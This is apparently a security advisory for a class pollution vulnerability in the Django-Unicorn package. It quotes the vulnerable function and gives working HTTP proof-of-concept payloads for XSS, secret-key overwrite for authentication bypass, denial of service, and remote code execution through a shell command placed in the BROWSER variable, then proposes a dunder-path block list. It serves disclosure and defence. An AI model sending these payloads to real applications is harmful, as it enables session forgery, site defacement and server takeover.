PT-2026-53421 · Pypi · Django-Unicorn

Published

2026-06-29

·

Updated

2026-06-29

CVSS v4.0

9.3

Critical

VectorAV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N

Summary

Django-Unicorn is vulnerable to python class pollution vulnerability, a new type of vulnerability categorized under CWE-915. The vulnerability arises from the core functionality set property value, which can be remotely triggered by users by crafting appropriate component requests and feeding in values of second and third parameter to the vulnerable function, leading to arbitrary changes to the python runtime status.
At least five ways of vulnerability exploitation have been found, stably resulting in Cross-Site Scripting (XSS), Denial of Service (DoS), and Authentication Bypass attacks in almost every Django-Unicorn-based application.

Analysis of Vulnerable Function

By taking a look at the vulnerable function set property value located at: django unicorn/views/action parsers/utils.py. You can observe the functionality is responsible for modifying a property value of an object.
The property is specified by a dotted form of path at the second parameter property name, where nested reference to object is supported, and base object and the assigned value is given by the first parameter component and third parameter property value.
python
# https://github.com/adamghill/django-unicorn/blob/7dcb01009c3c4653b24e0fb06c7bc0f9d521cbb0/django unicorn/views/action parsers/utils.py#L10
 def set property value(
  component,
  property name,
  property value
 ) -> None:
  ...
  property name parts = property name.split(".")
  component or field = component
  ...
  for idx, property name part in enumerate(property name parts):
    if hasattr(component or field, property name part):
      if idx == len(property name parts) - 1:
        ...
        setattr(component or field, property name part, property value)
        ...
      else:
        component or field = getattr(component or field, property name part)
        ...
    elif isinstance(component or field, dict):
      if idx == len(property name parts) - 1:
        component or field[property name part] = property value
				...
      else:
        component or field = component or field[property name part]
				...
    elif isinstance(component or field, (QuerySet, list)):
      property name part int = int(property name part)

      if idx == len(property name parts) - 1:
        component or field[property name part int] = property value # type: ignore[index]
        ...
      else:
        component or field = component or field[property name part int] # type: ignore[index]
        ...
    else:
      break
Meanwhile, this functionality can be directly triggered by a component request, one of the core functionalities of the project, by specifying the request type as syncInput and payload object would be fed in the dotted-path (2nd) parameter and assigned value (3rd) parameter of the vulnerable function.
json
POST /unicorn/message/COMPONENT NAME

{
  "id": 123,
  "actionQueue":[
    {
     "type": "syncInput",
     "payload": {
     "name": "DOTTED PATH",
     "value":"ASSIGNED VALUE"
     }
  		}
  ],
  "data": {XXX},
  "epoch": "123",
  "checksum": "XXXX"
}
You are now aware of that users from the remote can fully control the property name and property value of the vulnerable function. By default the preperty value overwrite can only be performed on the component object, which is always the first parameter of the function.
However, the functionality failed to count in the situation where bad actors can modify the normal path to traverse to other objects in the python runtime, by leveraging the magic attributes. For example, if the property name was set to init . globals, the component context would change to global context of the component module, which means you can modify any attributes of the objects that are located in the global scope of the component module. These objects also include other modules that have been imported in the component module, which comprises of a pollutable dependency chain.
With all these techniques introduced, you can now change any global objects including, global variables/instances/classes/functions of any module that is in a chain of dependency from the component module.
The next section introduces the five exploitation gadgets found so far, leading to reflected XSS, stored XSS, authentication bypass and DOS attack. It uses a locally deployed django-unicorn.com as demo website to showcase its large-scale impact.
Here, gadgets refer to the dependency code snippets by default introduced by django-unicorn and changing its status can result in an attack sequence, such as XSS.

Proof of Concept

#1 Reflected Cross-Site Scripting by Overwriting bs4 HTML sanitizer

Django-Unicorn implants the EntitySubstitution rule from beautifulsoup4 library into its [HTML formatter](https://github.com/adamghill/django-unicorn/blob/7dcb01009c3c4653b24e0fb06c7bc0f9d521cbb0/django unicorn/components/unicorn template response.py#L125), formatting all the template response messages.
image-20250121163510422
While this rule is specified in a global dictionary, you can exploit the class pollution vulnerability to overwrite it.
http
POST /unicorn/message/todo HTTP/1.1

{
 "id" : 123,
 "actionQueue": [
  {
   "type": "syncInput",
   "payload": {
    "name": " init . globals .sys.modules.bs4.dammit.EntitySubstitution.CHARACTER TO XML ENTITY.<",
    "value": "<img/src=1 onerror=alert('bs4 html entity bypass')>"
   }
  }
 ],
 "data": {
  "task": "",
  "tasks": []
 },
 "epoch": "123",
 "checksum": "XXX"
}
In this demonstration, replaced the sanitizer's < item value with the XSS payload. whenever a template reponse renders a "<" in cleartext, it will be converted to the payload, leading to XSS attack.
bs4-xss

#2 Stored Cross-Site Scripting by Overwriting Unicorn Setting and Django Json Script Sanitizer

There is always a script tag in the webpage. Among it, a NAME value is dynamically extracted both from the MORPHER NAMES and DEFAULT MORPHER NAME variable in the [setting module](https://github.com/adamghill/django-unicorn/blob/7dcb01009c3c4653b24e0fb06c7bc0f9d521cbb0/django unicorn/settings.py#L12).
image-20250121165007647
However, simply polluting these values can not lead to a stored XSS attack. Django by default escape some of the special characters into unicode sequences.
image-20250121164947336
Going through the source code of django, you will find the actual sanitizer located at json script escapes variable at django/utils/html.py.
image-20250121165247245
By polluting this variable to clear it out, you finally achieve a stored XSS attack.
image-20250121165839892
PoC:
http
POST /unicorn/message/todo HTTP/1.1

{
 "id": "3gpDSUcxzs1",
 "data": {
  "task": "",
  "tasks": []
 },
 "checksum": "XXX",
 "actionQueue": [
  {
   "type": "syncInput",
   "payload": {
    "name": " init . globals .sys.modules.django unicorn.settings.MORPHER NAMES",
    "value": [
     "</script><script>alert('django json unicode escape bypass + configuration overwrite')</script>"
    ]
   }
  },
  {
   "type": "syncInput",
   "payload": {
    "name": " init . globals .sys.modules.django unicorn.settings.DEFAULT MORPHER NAME",
    "value": "</script><script>alert('django json unicode escape bypass + configuration overwrite')</script>"
   }
  },
  {
   "type": "syncInput",
   "payload": {
    "name": " init . globals .sys.modules.django.utils.html. json script escapes",
    "value": {}
   }
  }
 ],
 "epoch": 1737318956605,
 "hash": "jWGuTFzy"
}
json unicode xss

#3 Stored Cross-Site Scripting by Overwriting Django Error Page Source Code

Django by default stores its error page source code in a global variable named ERROR PAGE TEMPLATE at django/views/defaults.py.
image-20250121170357900
By polluting this variable to XSS payload. whenever a user triggers an error in the application, such as access an unexisting resource, the attack payload fires out.
http
POST /unicorn/message/todo HTTP/1.1

{
 "id": 123,
 "actionQueue": [
  {
   "type": "syncInput",
   "payload": {
    "name": " init . globals .sys.modules.django.views.defaults.ERROR PAGE TEMPLATE",
    "value": "<html><script>alert('error page pollution')</script></html>"
   }
  }
 ],
 "data": {
  "task": "",
  "tasks": []
 },
 "epoch": "123",
 "checksum": "XXX"
}
django-404-xss

#4 Authentication Bypass by Overwriting Django Secret Key

Django secret key is typically used to sign and verify session cookies and other security related mechanism. By polluting its runtime value to attacker intended, attacker can forge session cookies to login in to the system as any user.
Even though, django-unicorn.com doesn't have an authentication layer, you can still observe a successful secret key pollution by inspecting the changed checksum in the HTTP response, since the checksum is generated by encrypting the data field in the request body with the secret key.
HTTP
POST /unicorn/message/todo HTTP/1.1

{
 "id": 123,
 "actionQueue": [
  {
   "type": "syncInput",
   "payload": {
    "name": " init . globals .sys.modules.django.template.backends.django.settings.SECRET KEY",
    "value": "test"
   }
  }
 ],
 "data": {
  "task": "",
  "tasks": []
 },
 "epoch": "123",
 "checksum": "XXX"
}
authentication bypass

#5 Denial of Service by Overwriting timed Decorator Method

The [timed](https://github.com/adamghill/django-unicorn/blob/7dcb01009c3c4653b24e0fb06c7bc0f9d521cbb0/django unicorn/decorators.py#L9) decorator is used to modify many important functions in the django-unicorn, such as [ call method name](https://github.com/adamghill/django-unicorn/blob/7dcb01009c3c4653b24e0fb06c7bc0f9d521cbb0/django unicorn/views/action parsers/call method.py#L122).
image-20250121171823756
By polluting the core decorator method timed to a string, you make a function call always call a uncallable string, leading to the backend crashed, thus denial of service attack.
http
POST /unicorn/message/todo HTTP/1.1

{
 "id": 123,
 "actionQueue": [
  {
   "type": "syncInput",
   "payload": {
    "name": " init . globals .timed",
    "value": "X"
   }
  }
 ],
 "data": {
  "task": "",
  "tasks": []
 },
 "epoch": "123",
 "checksum": "XXX"
}
dos attack

#6 Remote Code Execution by Polluting location cache and OS Environment Variable BROWSER

By polluting the cached data in the location cache object located at [unicorn view.py](https://github.com/adamghill/django-unicorn/blob/ba2e1de5858f65b7d115f2ba782c220addd47245/django unicorn/components/unicorn view.py#L42C1-L43C1), attackers can archieve an arbitrary module importation as the logic executed at [ get component class](https://github.com/adamghill/django-unicorn/blob/ba2e1de5858f65b7d115f2ba782c220addd47245/django unicorn/components/unicorn view.py#L835) function. Then a following pollution on the BROWSER os environment variable will lead to remote code execution when it is combined with antigravity module importation.
  • Pollute location cache. Cache data.todo as an array where the first element is the module name imported whenever a GET request is sent to the server.
HTTP
 POST /unicorn/message/todo HTTP/1.1
Host: proof-of-concept:2334
Content-Length: 327
Accept: application/json

{
 "id": "E5FBWqME",
 "data": {
  "task": "",
  "tasks": []
 },
 "checksum": "XvvsDQXX",
 "actionQueue": [
  {
   "type": "syncInput",
   "payload": {
    "name": " init . globals .location cache. Cache data.todo",
    "value": [
     "antigravity",
     "any"
    ]
   },
   "partials": []
  },
  {
   "type": "callMethod",
   "payload": {
    "name": "add"
   },
   "partials": []
  }
 ],
 "epoch": 1746680343776,
 "hash": "CG5pMDxc"
}
  • Pollute BROWSER os environment variable where the payload for command injection is set.
HTTP
POST /unicorn/message/todo HTTP/1.1
Host: proof-of-concept:2334
 Content-Length: 348
Accept: application/json

{
 "id": "E5FBWqME",
 "data": {
  "task": "",
  "tasks": []
 },
 "checksum": "XvvsDQXX",
 "actionQueue": [
  {
   "type": "syncInput",
   "payload": {
    "name": " init . globals .sys.modules.os.environ",
    "value": {
     "BROWSER": "/bin/sh -c "touch /tmp/pwned " #%s"
    }
   },
   "partials": []
  },
  {
   "type": "callMethod",
   "payload": {
    "name": "add"
   },
   "partials": []
  }
 ],
 "epoch": 1746680343776,
 "hash": "CG5pMDxc"
}
django-unicorn-rce

Mitigation

The patch could be:
  • Blocking paths that start with , which represent double under (dunder) or magic variables/methods
  • Set a blacklist for the path, such as RESTRICTED KEYS = (" globals ", " builtins ") adopted by pydash.

Related Materials

For more information about class pollution please refer to:

Fix

Found an issue in the description? Have something to add? Feel free to write us 👾

Related Identifiers

PYSEC-2026-329

Affected Products

Django-Unicorn